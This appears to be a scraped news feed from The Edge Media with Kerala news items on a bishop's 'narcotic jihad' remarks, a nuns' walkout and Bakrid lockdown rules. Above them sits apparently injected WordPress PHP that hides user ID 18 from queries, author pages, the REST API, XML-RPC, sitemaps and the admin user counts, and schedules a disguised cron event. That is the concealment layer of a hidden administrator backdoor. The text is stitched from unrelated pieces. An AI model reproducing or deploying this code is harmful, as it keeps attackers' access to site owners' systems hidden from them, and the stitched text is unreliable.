add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Nuns in Kerala staging a walkout in protest of a priest’s anti-Muslim remarks appeared first on The Edge Media.
]]>
While Pala Bishop Joseph Kallarangatt’s remark about “narcotic jihad” is causing controversy in Kerala, four nuns from Kuravilangad in Kottayam have accused another Christian priest of delivering a hate speech against Muslims. The nuns protested by walking out of the prayer service.
The nuns, in particular, are those who had previously stepped out in the open to denounce Bishop Franco Mulakkal, who is accused of rape. The sisters accused Rajeev, a priest from the Third Order Regular of Saint Francis of Penance, of giving a hate speech against Muslims during a prayer service at a chapel within the St Francis Mission house in Kuravilangad on Sunday, September 13.
The post Nuns in Kerala staging a walkout in protest of a priest’s anti-Muslim remarks appeared first on The Edge Media.
]]>The post Congress slams Kerala Bishop’s “love and narcotic jihad” statement, saying it “has gravely impacted the societal fabric.” appeared first on The Edge Media.
]]>Bishop Joseph Kallarangatt’s claims of “love and narcotic jihad” in Pala were criticized by the Kerala Pradesh Congress Committee (KPCC) on Friday, with the KPCC working president noting that the remarks have “badly impacted the social fabric” of the state.
Reiterating that the Bishop of the Pala Diocese’s views is unacceptable, Thomas stated that such remarks will impair the state’s communal unity. Bishop Kallarangatt had before said that in Kerala, young females were falling prey to “love and narcotic jihad,” and that such tactics were being utilized to eliminate non-Muslims.
The post Congress slams Kerala Bishop’s “love and narcotic jihad” statement, saying it “has gravely impacted the societal fabric.” appeared first on The Edge Media.
]]>The post IMA Stated Will Move To SC If Kerala Allows Relaxation For Bakrid appeared first on The Edge Media.
]]>The IMA further stated that the Supreme Court of India has adopted suo moto cognizance of the situation and has urged everyone to be on the lookout for the approaching third Wave.
As of now, Kerala and Maharashtra account for more than 60% of all coronavirus infections in India. Kerala has topped the list of states with the most new cases for several days now, and the trend is only going higher, with a test positive rate of more over 10%.
The post IMA Stated Will Move To SC If Kerala Allows Relaxation For Bakrid appeared first on The Edge Media.
]]>The post State government decides to relax the lockdown regulations for Bakrid appeared first on The Edge Media.
]]>Shops other than those selling the essential goods will be allowed to function up to 8pm on these three days. These include textile shops, footwear shops, electronics shops, fancy shops and jewellery shops. The decision was taken after chief minister Pinarayi Vijayan met the representatives of the Kerala Vyapari Vyavasayi Ekopani Samithi (KVVES) after the traders challenged the government that they would open the shops on Saturday and Sunday as well.
At present, the shops, except eateries and those selling essentials are allowed to open only on alternate days in the A, B and C categories. The traders had been protesting against this and had challenged the government that they would open all the shops on all days. The challenge from the traders had resulted in a bitter face off between the government and the traders with the chief minister warning them of dire consequences if they did so.
The post State government decides to relax the lockdown regulations for Bakrid appeared first on The Edge Media.
]]>